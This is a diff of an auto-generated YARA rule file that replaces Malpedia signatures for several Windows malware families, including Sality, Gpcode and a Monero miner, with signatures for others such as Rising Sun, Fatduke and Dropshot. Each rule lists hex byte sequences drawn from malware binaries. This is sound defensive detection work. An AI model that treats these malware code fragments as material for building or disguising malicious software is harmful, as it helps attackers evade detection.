+		$sequence_9 = { c1e810 884311 8bc1 c1e808 884312 884b13 8b4f1c }
 
 	condition:
-		7 of them and filesize <196608
+		7 of them and filesize <133120
 }
-rule MALPEDIA_Win_Orpcbackdoor_Auto : FILE
+rule MALPEDIA_Win_Rising_Sun_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "605ecf11-b36e-51cd-8e37-c406fe5ee743"
+		id = "61449700-41c3-5e72-bc5d-1e423597afa4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orpcbackdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.orpcbackdoor_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rising_sun_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "a975ab0f24495978f9e8b667b3f6b02066e8ac424646b3588e19f69238c5dbdd"
+		logic_hash = "76c0e1eaf3dacaaaa1a31e893606959ffd6d8a46f21e1d7c2864ee68d388c2cb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176126,32 +183176,32 @@ rule MALPEDIA_Win_Orpcbackdoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b45fc 83e818 50 e8???????? 59 59 }
-		$sequence_1 = { 59 ffb5e4f6feff ffb568f5feff 8d8594f9ffff 50 e8???????? 83c40c }
-		$sequence_2 = { 6a0c 59 be???????? 8dbdc0faffff f3a5 66a5 a4 }
-		$sequence_3 = { 8b45c4 0fbe00 83f87f 7452 8b45c4 0fbe00 85c0 }
-		$sequence_4 = { 753e 8b45c8 40 40 3b4524 7734 8b4520 }
-		$sequence_5 = { 83a5b0fdffff00 8d85b0fdffff 50 6a02 8b85b4fdffff 8b00 ffb5b4fdffff }
-		$sequence_6 = { 8841fd eb0e a1???????? 0345f4 c640fd00 eb05 }
-		$sequence_7 = { 6a01 6a40 6a01 6a01 8d8da8fcfeff e8???????? 50 }
-		$sequence_8 = { 3c5a 7712 0fbec1 83e820 83e07f 8a044589700310 }
-		$sequence_9 = { 0fbe4001 83f858 7508 8b45c4 40 40 }
+		$sequence_0 = { c745b03414d384 c745b418f4ff64 c745b851d4c644 c745bcabb43c24 c745c099945804 c745c4c4746ce4 c745c8dd544ec4 }
+		$sequence_1 = { 4889742418 48897c2420 55 488dac24a0e4ffff b8601c0000 }
+		$sequence_2 = { c745dcd3515290 c745e00358c000 c745e4c80ae51e c745e804d34ed7 c745ec3e3054ad c745f046c2e664 c745f418a189fe }
+		$sequence_3 = { c785100200000358c000 c78514020000c80ae51e c7851802000004d34ed7 c7851c0200003e3054ad c7852002000046c2e664 }
+		$sequence_4 = { e8???????? 48898588000000 488d05c298feff 4883c420 }
+		$sequence_5 = { c78514020000c80ae51e c7851802000004d34ed7 c7851c0200003e3054ad c7852002000046c2e664 c7852402000018a189fe c7852802000003f29cea c7852c0200000bbce179 }
+		$sequence_6 = { c785440600001def57f7 c785480600003bf5679d c7854c0600000989ec8d c78550060000fd9e1cf3 66c785540600002657 664489ad60060000 e8???????? }
+		$sequence_7 = { 4c8d41ff 488bce e8???????? 488b542450 b89fffffff }
+		$sequence_8 = { 660f1f440000 0fb602 48ffc2 88440aff 84c0 75f2 }
+		$sequence_9 = { e8???????? cc 48895c2408 48896c2418 56 57 4154 }
 
 	condition:
-		7 of them and filesize <918528
+		7 of them and filesize <409600
 }
-rule MALPEDIA_Win_Explosive_Rat_Auto : FILE
+rule MALPEDIA_Win_Fatduke_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "863a5681-ec58-58c3-aa41-9d8844c2c73c"
+		id = "1df82884-dd37-5110-97a3-f389ea498843"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.explosive_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.explosive_rat_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatduke"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fatduke_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "e75d842c394fc045ddd0745106b1430d3dd968c3b7d21e3af7bbb4c3b56a96a4"
+		logic_hash = "40661bdfa7c29a9f9d4cfc7da5ee8f1460f5e36e7c11bd94001d922b76261842"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176165,34 +183215,34 @@ rule MALPEDIA_Win_Explosive_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8945c4 8b4514 8945c8 7611 33c0 8a03 8d4dc4 }
-		$sequence_1 = { 7445 6a03 8bc7 e8???????? 8b8648af0100 8bae44af0100 83c00a }
-		$sequence_2 = { 66832300 33c0 c9 c3 85c0 7515 }
-		$sequence_3 = { eb60 807e0400 7507 8bce e8???????? 807e0530 7c62 }
-		$sequence_4 = { 53 55 8b6c2448 8b4d04 8b4104 56 8bf1 }
-		$sequence_5 = { 85ed 75e5 83f808 896b14 720f 8b4304 5f }
-		$sequence_6 = { 68???????? 51 e8???????? 8b4c2468 8b7c245c 50 8b442470 }
-		$sequence_7 = { 8b442430 83c408 3bc7 720d 8b4c2414 51 e8???????? }
-		$sequence_8 = { 8d5dd0 e8???????? 46 ebb8 b8???????? e8???????? be???????? }
-		$sequence_9 = { 89ae88af0600 8bfa 7d2e 8a5c0aff 8a140a 885c241c 8854240f }
+		$sequence_0 = { 807b0d00 7552 ff7608 8bc8 e8???????? 8b36 8d7b10 }
+		$sequence_1 = { 8bcb 85f6 7455 83ee04 7211 8b01 3b02 }
+		$sequence_2 = { ff75f0 c746140f000000 c7461000000000 c60600 e8???????? 8b4b04 83c404 }
+		$sequence_3 = { e8???????? c745c000000000 c745c400000000 c745c40f000000 c745c000000000 c645b000 3bc1 }
+		$sequence_4 = { e8???????? 83c404 c745bc0f000000 c745b800000000 c645a800 c745fcffffffff 837dec10 }
+		$sequence_5 = { c7864c01000000000000 c6863c01000000 c645fc0b 83be3801000010 720e ffb624010000 e8???????? }
+		$sequence_6 = { f7d3 23da 7419 2bf9 8bff 8a040f 8d4901 }
+		$sequence_7 = { 83ec1c a1???????? 33c5 8945fc 8b4508 8b4910 8945e4 }
+		$sequence_8 = { 8d4e08 51 e8???????? c745fcffffffff 8bc6 8b4df4 64890d00000000 }
+		$sequence_9 = { ff75c0 e8???????? 83c404 c745d40f000000 8ac3 c745d000000000 c645c000 }
 
 	condition:
-		7 of them and filesize <855040
+		7 of them and filesize <9012224
 }
-rule MALPEDIA_Win_Sality_Auto : FILE
+rule MALPEDIA_Win_Tmanger_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c4fe3bef-4213-5d7d-913a-2b05b77a4928"
+		id = "78f3e107-dd73-5ac6-8162-9004595db040"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sality"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sality_auto.yar#L1-L213"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tmanger"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tmanger_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "0193eaeac2f20f17789979ee8ced6eebd2afd20c9546863e594d136342d3a2ff"
+		logic_hash = "3ce75b695b98335702f80c133e38f084863185b63bd0e2de7bf59d414a1dae17"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -176204,46 +183254,32 @@ rule MALPEDIA_Win_Sality_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0302 50 6878563412 e8???????? }
-		$sequence_1 = { 0255fc 8855ec 8b45ec 25ff000000 }
-		$sequence_2 = { 02040a 8845fc 8b4dfc 81e1ff000000 }
-		$sequence_3 = { 0302 50 6a00 e8???????? }
-		$sequence_4 = { 837da000 751b 8b551c 52 8b4514 50 8b4d10 }
-		$sequence_5 = { 02c8 884dec 8b55f0 83c201 }
-		$sequence_6 = { 0311 52 6878563412 e8???????? }
-		$sequence_7 = { 0302 8945fc 8b4d10 8b55fc }
-		$sequence_8 = { 52 50 ff9539154000 58 6a00 }
-		$sequence_9 = { 8b5678 0354240c 8b5a20 035c240c 33c0 8b3b }
-		$sequence_10 = { 240f 3c0a 1c69 2f 8803 43 }
-		$sequence_11 = { f3a6 61 7513 8bc2 83e804 8b00 }
-		$sequence_12 = { eb0c 58 e8???????? b801000000 c3 }
-		$sequence_13 = { 7461 8bc8 48 c6857b27400000 }
-		$sequence_14 = { 8b00 0344240c eb02 33c0 }
-		$sequence_15 = { ff95bc154000 85c0 7415 58 }
-		$sequence_16 = { 010d???????? 83c004 5f 5e }
-		$sequence_17 = { 0007 7307 c607ff 8ac1 }
-		$sequence_18 = { 031e ff7608 ff7604 e8???????? }
-		$sequence_19 = { 00fb fb 804880bc 280d???????? }
-		$sequence_20 = { 0306 50 8d5604 e8???????? }
-		$sequence_21 = { 0306 50 8b4e04 8d5608 }
-		$sequence_22 = { 0202 7466 0fb77202 8b7a04 }
-		$sequence_23 = { 014304 c3 53 56 }
+		$sequence_0 = { c7415d382cd7bd c74161d47bdb0f c741651f013f62 c74169388b8e92 c7416d9b14f6a0 }
+		$sequence_1 = { c741103a71c135 c74114c2a02ab0 c74118d95dc845 c7411cf8f0564e c7412066b8276e }
+		$sequence_2 = { c74169388b8e92 c7416d9b14f6a0 c7417180fcd6bb c74175d7401d36 }
+		$sequence_3 = { c7410c16d9fdf8 c741103a71c135 c74114c2a02ab0 c74118d95dc845 c7411cf8f0564e }
+		$sequence_4 = { c7412425d933d1 c7412861fdc72a c7412cdf9134d2 c74130324d251d c74134375ec19d }
+		$sequence_5 = { c74169388b8e92 c7416d9b14f6a0 c7417180fcd6bb c74175d7401d36 c7417958fffa19 66c7417dfc19 }
+		$sequence_6 = { c7412066b8276e c7412425d933d1 c7412861fdc72a c7412cdf9134d2 c74130324d251d c74134375ec19d }
+		$sequence_7 = { c741594d68b93a c7415d382cd7bd c74161d47bdb0f c741651f013f62 }
+		$sequence_8 = { c741510f9f2997 c7415565449eac c741594d68b93a c7415d382cd7bd c74161d47bdb0f c741651f013f62 }
+		$sequence_9 = { c741594d68b93a c7415d382cd7bd c74161d47bdb0f c741651f013f62 c74169388b8e92 }
 
 	condition:
-		7 of them and filesize <1523712
+		7 of them and filesize <8252416
 }
-rule MALPEDIA_Win_Bluehaze_Auto : FILE
+rule MALPEDIA_Win_Dropshot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b806577a-57c1-570d-aa1c-22fa8aae198a"
+		id = "f835fd17-f919-5a07-a5c9-cff4292c1163"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluehaze"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bluehaze_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dropshot_auto.yar#L1-L98"
 		license_url = "N/A"
-		logic_hash = "e848ac1af15ccfaaa261b6df2c92e0cbc62750d10a2cd1c781f26efdf23885e7"
+		logic_hash = "98ce90f78c6e888102f62c73a346864796873af9c7b795369b519cebc67a4ac6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176257,32 +183293,30 @@ rule MALPEDIA_Win_Bluehaze_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d85f0feffff 50 8bcf ff15???????? 8b08 8b4904 }
-		$sequence_1 = { 745f 6a30 c7460800000000 e8???????? 83c404 85c0 }
-		$sequence_2 = { 0fbe56ff 4e 51 52 57 ffd3 83c40c }
-		$sequence_3 = { e8???????? 83c408 8bc8 ff15???????? 397314 7204 }
-		$sequence_4 = { 8d4f04 894e30 894e34 8d4708 8d4d10 894610 894614 }
-		$sequence_5 = { 68???????? 64a100000000 50 81ecec050000 a1???????? 33c5 8945ec }
-		$sequence_6 = { 83c420 8d14c500000000 2bd0 8b06 5b 8d0cd0 }
-		$sequence_7 = { 03c2 894508 753d 8b4604 8b0e 3bc8 0f8466010000 }
-		$sequence_8 = { 0b0b 010b 0b0b 0b0b 0b0b 0b0b 0b0b }
-		$sequence_9 = { 33db 8bc7 8bf1 c745e80f000000 895de4 885dd4 8d5001 }
+		$sequence_0 = { e8???????? 83c40c 6a04 6800100000 6804010000 6a00 ff15???????? }
+		$sequence_1 = { ff15???????? 5d c3 3b0d???????? f27502 }
+		$sequence_2 = { 6a64 ff15???????? 6800800000 6a00 }
+		$sequence_3 = { 6a05 ff15???????? ff15???????? 6a00 }
+		$sequence_4 = { eb05 e8???????? 68e8030000 ff15???????? }
+		$sequence_5 = { ff15???????? 6a04 6800100000 6808020000 }
+		$sequence_6 = { ff15???????? 6a00 ff15???????? 6a00 ff15???????? 6a05 }
+		$sequence_7 = { 6a00 6a00 68???????? 6a00 ff15???????? b801000000 }
 
 	condition:
-		7 of them and filesize <424960
+		7 of them and filesize <483328
 }
-rule MALPEDIA_Win_Fonix_Auto : FILE
+rule MALPEDIA_Win_Zeus_Action_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bd0f7338-d5ae-57b4-8254-a4a394cfa806"
+		id = "65e8f438-ad6b-5cc2-8433-22cd51967cfc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fonix"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fonix_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_action"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeus_action_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "a1de19ea9d27789030065bff520751643f536c0deae9fbccf8fe2c31cafb92ef"
+		logic_hash = "d578cc91c04661eaf2cc2ee8b8d1f82a11b119d1521d38f5e03bfba5cd5d37a6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176296,84 +183330,77 @@ rule MALPEDIA_Win_Fonix_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 8d5508 c645fc0e 8d8df4fbffff e8???????? 51 51 }
-		$sequence_1 = { 83c408 85ff 0f8533ffffff 0f1045a8 8bb56cffffff 0f114590 f30f7e45b8 }
-		$sequence_2 = { c1c107 894c2434 8b4c2428 03ca 33f1 c1c610 03c6 }
-		$sequence_3 = { 8b7d74 8d4500 57 50 ff7578 8d4530 c645fc0a }
-		$sequence_4 = { c645fc1e e8???????? c645fc1f 68???????? 8d8d68fdffff e8???????? 68???????? }
-		$sequence_5 = { e8???????? bf6e060000 c645fc0a 57 e8???????? 59 8bf0 }
-		$sequence_6 = { 8bf0 ff5208 0faff0 8d4b0c 56 e8???????? }
-		$sequence_7 = { 8d8d0cfcffff e8???????? 83ec18 8d4508 }
-		$sequence_8 = { 8d4101 898d7cffffff 50 8d4dd8 e8???????? 8bd0 8b856cffffff }
-		$sequence_9 = { 50 56 e8???????? 83c40c 84c0 7404 }
+		$sequence_0 = { 668945fa 8d75f4 a5 a5 a5 8383d87500000c 33f6 }
+		$sequence_1 = { 7417 8b01 57 51 ff5034 8b4de8 85c9 }
+		$sequence_2 = { ff15???????? b800080000 663b05???????? 7510 e8???????? 84c0 7407 }
+		$sequence_3 = { 894508 3bf0 7433 8d7b14 85f6 7504 33c0 }
+		$sequence_4 = { 0f84d0020000 395df8 0f84c7020000 395df4 0f84be020000 395dd0 0f84b5020000 }
+		$sequence_5 = { 49 3bc6 7509 8b7dd8 894de8 }
+		$sequence_6 = { 59 85c0 0f8479010000 837ddc00 740f 53 e8???????? }
+		$sequence_7 = { 83c0fb 83f803 7740 f745d000080000 7416 03f9 03d9 }
+		$sequence_8 = { 50 8b4618 83c004 50 ff15???????? 8b761c 83c40c }
+		$sequence_9 = { ff15???????? 85c0 7817 56 8d85f8fdffff 50 8d85f0fbffff }
 
 	condition:
-		7 of them and filesize <2226176
+		7 of them and filesize <827392
 }
-rule MALPEDIA_Win_Ketrican_Auto : FILE
+rule MALPEDIA_Win_Ariabody_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "03c6cec7-6d12-51a2-b1a9-8239f834bf9b"
+		id = "58204a37-6e57-54ad-a9ad-f1e207420b64"
 		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrican"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ketrican_auto.yar#L1-L227"
-		license_url = "N/A"
-		logic_hash = "c6a0e9c9ef6d7c9c9c9505df3e47863f2b32a94701647f7dc167a7885087d327"
-		score = 75
-		quality = 71
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { 8965f0 33db 895dfc 33c0 }
-		$sequence_1 = { 7417 6a0a 6a1f 68???????? }
-		$sequence_2 = { e8???????? 83c010 8906 c3 56 }
-		$sequence_3 = { 8bd1 e8???????? 5f 5e c3 55 8bec }
-		$sequence_4 = { 8b06 5d c20400 55 8bec 8b4508 894508 }
-		$sequence_5 = { 8bc1 8945f0 834dfcff e8???????? }
-		$sequence_6 = { 8901 5b 5d c20800 680e000780 e8???????? cc }
-		$sequence_7 = { 680e000780 e8???????? cc 8b06 83e810 8b08 }
-		$sequence_8 = { 48 7445 48 743a 48 }
-		$sequence_9 = { 884603 83c604 8345f804 8b45f8 5f }
-		$sequence_10 = { 58 668945d8 6a72 58 }
-		$sequence_11 = { 6a00 8d85f1fbffff 50 e8???????? 83c40c 6800040000 }
-		$sequence_12 = { ff7508 53 53 ffd6 5f 5e }
-		$sequence_13 = { 740a 48 754a e8???????? }
-		$sequence_14 = { 83c002 663bd3 75f5 2bc1 d1f8 8d7001 6800080200 }
-		$sequence_15 = { e8???????? 8b8a8c2f0000 33c8 e8???????? b8???????? }
-		$sequence_16 = { ff15???????? 68???????? c705????????98824100 a3???????? }
-		$sequence_17 = { 8d420c 8b4ae8 33c8 e8???????? 8b8a4c010000 }
-		$sequence_18 = { 33c8 e8???????? 8b8ae8080000 33c8 e8???????? }
-		$sequence_19 = { 8d4dd0 e9???????? 8d4de0 e9???????? 8d4db8 e9???????? 8d4ddc }
-		$sequence_20 = { b8???????? e9???????? 8b542408 8d420c 8b8aa4feffff 33c8 }
-		$sequence_21 = { c705????????98824100 a3???????? c605????????00 e8???????? 59 }
-		$sequence_22 = { 8b8a54ffffff 33c8 e8???????? 8b8adc090000 33c8 e8???????? }
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ariabody_auto.yar#L1-L175"
+		license_url = "N/A"
+		logic_hash = "eeda1b828c38fb501f5c05c0fadc1525e86a5abb54edde2f591e92fd62c5dd82"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { eb13 8b16 8bcf e8???????? 8906 85c0 }
+		$sequence_1 = { 8bcf 0fb6c0 50 ff75fc e8???????? }
+		$sequence_2 = { 7402 32c3 88040a 41 }
+		$sequence_3 = { 8a01 84c0 7406 3ac3 7402 }
+		$sequence_4 = { 56 8d0c30 ffd1 8bc6 5f }
+		$sequence_5 = { 8bf2 56 8d55fc 03f9 e8???????? 59 85c0 }
+		$sequence_6 = { 83ec50 53 57 8bd9 e8???????? 8bf8 893b }
+		$sequence_7 = { ff5304 8bf8 893e eb13 8b16 8bcf }
+		$sequence_8 = { 33d2 488d8c2498000000 41b800010000 41ffc7 ff9510020000 }
+		$sequence_9 = { 48895c2408 57 4883ec20 4863d9 488d3da4d30000 4803db 48833cdf00 }
+		$sequence_10 = { eb17 83f802 7512 488d4c2430 488d942420060000 e8???????? }
+		$sequence_11 = { 33ff 488d0480 418b4cc60c 418b54c614 4903cc 458b44c610 4803d3 }
+		$sequence_12 = { e8???????? 3d5595db6d 741d 4d8b7f18 }
+		$sequence_13 = { 41b820000000 488d942444010000 4c8d8c2468010000 48c7402000000000 41ff96d0000000 85c0 7429 }
+		$sequence_14 = { 4c89e1 4533c9 8b942464010000 41ff96c0000000 4889e0 4c89e1 41b820000000 }
+		$sequence_15 = { 8b0b e8???????? 48630b 4c8d2dd59f0000 488bc1 }
 
 	condition:
-		7 of them and filesize <1449984
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Monero_Miner_Auto : FILE
+rule MALPEDIA_Win_Ironwind_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e4c7050e-9186-5f1e-9d47-976e6a4001a0"
+		id = "59e0122b-e237-5b83-a993-a2711164e0ad"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.monero_miner_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironwind"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ironwind_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "7e4796fa5a31551e9b057737783d58401a472a7bae7889a290c988c1aea0c1dd"
+		logic_hash = "db36742cc3e5372580f85bcac0b5325edc83e1defe6a3dbe06584de3a3fb0586"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176387,32 +183414,32 @@ rule MALPEDIA_Win_Monero_Miner_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fb65508 034d04 035d00 01d0 e9???????? 0fb77508 034d04 }
-		$sequence_1 = { 8b842490000000 895f40 338424ac000000 8b9c2444010000 31cd 8b8c2440010000 31de }
-		$sequence_2 = { 8b442460 31f5 8bb42488000000 03742460 896c2438 89c5 897c243c }
-		$sequence_3 = { 8b4c2424 c7042400000000 89442404 8b442420 e8???????? 85c0 89c3 }
-		$sequence_4 = { 8b54245c 09ce 89b424f0010000 897738 89ac24f4010000 896f3c 0fa4c204 }
-		$sequence_5 = { 8d4c2427 89742414 895c240c 897c2408 c744240400000000 83e1f0 8b7de0 }
-		$sequence_6 = { 89bc24c0010000 89ac24c4010000 8bac24c8040000 036c2420 8b742460 8bbc24cc040000 137c2424 }
-		$sequence_7 = { c744240423000000 8b85c0040000 890424 e8???????? 85c0 7403 c60000 }
-		$sequence_8 = { e8???????? 8d4b50 8d5705 c7435c00000000 c7435800000000 c7435400000000 895350 }
-		$sequence_9 = { 8b8424b0010000 899424c4010000 8b9424b4010000 89ac24c0010000 01c1 89c5 11d3 }
+		$sequence_0 = { be01000000 8bc6 e9???????? 4803c9 488b6cca08 4885ed 74e7 }
+		$sequence_1 = { c3 4533c0 418d5002 8d4a15 ff15???????? 4883f8ff }
+		$sequence_2 = { e9???????? 488d0d823e0300 4889bc24a0000000 e8???????? 488bf8 4885c0 7508 }
+		$sequence_3 = { ff15???????? 488b742460 4885db 7409 488bcb ff15???????? 8bc7 }
+		$sequence_4 = { 80b85011000001 488d152cc40400 488d0d4dc40400 480f45d1 488bc8 e8???????? 488bf8 }
+		$sequence_5 = { 8d5001 8d4838 ff15???????? 488bf8 4885c0 7508 8d471b }
+		$sequence_6 = { f20f1101 e9???????? 0f57c0 f2480f2a87100b0000 f20f1101 e9???????? 0f57c0 }
+		$sequence_7 = { bf05000000 8bc7 eb53 bf02000000 8bc7 eb4a 664183f804 }
+		$sequence_8 = { 85c0 742e 0fbe03 4c8d156f8ffdff 83c0e0 83f85a 0f8765020000 }
+		$sequence_9 = { e8???????? 488b8f50070000 4885c9 7469 ff15???????? 488983d0060000 4885c0 }
 
 	condition:
-		7 of them and filesize <1425408
+		7 of them and filesize <995328
 }
-rule MALPEDIA_Win_Gpcode_Auto : FILE
+rule MALPEDIA_Win_Typehash_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d8b81e5a-8691-5b0a-9c29-2fe185a250cc"
+		id = "edf296ed-fbc4-5bd8-b180-ef55e989c944"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gpcode_auto.yar#L1-L188"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.typehash"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.typehash_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "47d13f6f4636c7a610d9f5f6fa6bfc46db8fee0da3e7f134864d9085143c9558"
+		logic_hash = "9451e6a97a0b537ea280e22049617c90fd5aa93257a4b129bfda6427a2eb4eeb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176426,43 +183453,34 @@ rule MALPEDIA_Win_Gpcode_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? a1???????? a3???????? 6800001000 68???????? ff35???????? }
-		$sequence_1 = { 68???????? e8???????? 91 6a00 }
-		$sequence_2 = { e8???????? e8???????? c705????????01000000 c3 55 8bec }
-		$sequence_3 = { 85c0 7479 33c0 50 50 6a03 50 }
-		$sequence_4 = { ff35???????? 68???????? ff75f8 ff15???????? 8945f4 85c0 7425 }
-		$sequence_5 = { 8906 83c608 e2e6 59 e2dc }
-		$sequence_6 = { 83c40c 8d45fc 50 8d450c ff30 e8???????? }
-		$sequence_7 = { e8???????? 0bc0 7504 33c0 c9 c3 8945f0 }
-		$sequence_8 = { c60000 2d???????? 50 8d85e8feffff 50 68???????? }
-		$sequence_9 = { 68???????? 6a00 e8???????? 6a0a 68???????? 6a00 e8???????? }
-		$sequence_10 = { e8???????? 83f8ff 7505 5a }
-		$sequence_11 = { 001438 eb06 80c107 000c38 }
-		$sequence_12 = { 0005???????? 0fb605???????? 8ad3 8d80b8fee014 }
-		$sequence_13 = { 0016 40 3bc3 72de }
-		$sequence_14 = { 0145f0 8b4df0 3b4d14 0f8263feffff }
-		$sequence_15 = { 000c38 40 3b45f8 72e3 }
-		$sequence_16 = { 0144240c 85f6 7fdd 33c0 }
-		$sequence_17 = { 0106 eb94 55 8bec }
-		$sequence_18 = { 000e eb08 02c9 b2f9 }
+		$sequence_0 = { 83e11f 8b0485e03d4100 8d04c8 eb05 b8???????? f6400420 740d }
+		$sequence_1 = { c3 8bc8 83e01f c1f905 8b0c8de03d4100 8a44c104 }
+		$sequence_2 = { e8???????? 6a01 8d4c2450 c68424cc00000001 e8???????? bf???????? }
+		$sequence_3 = { 8944240c c744241004000000 7460 8b2d???????? 8b3d???????? }
+		$sequence_4 = { c1f805 c1e603 8d1c85e03d4100 8b0485e03d4100 03c6 8a5004 }
+		$sequence_5 = { 50 51 6813000020 56 c744242000000000 c744242404000000 ffd7 }
+		$sequence_6 = { 03c8 3bc1 7d1e 8d1440 2bc8 8d1495e8294100 832200 }
+		$sequence_7 = { 3bf3 7505 be???????? 8b54242c 8b442430 8bcf 55 }
+		$sequence_8 = { 837d1805 7538 837d1000 7508 8bb6b42b4100 }
+		$sequence_9 = { e8???????? 68???????? 8d45c8 c745c8e4e74000 50 }
 
 	condition:
-		7 of them and filesize <761856
+		7 of them and filesize <180224
 }
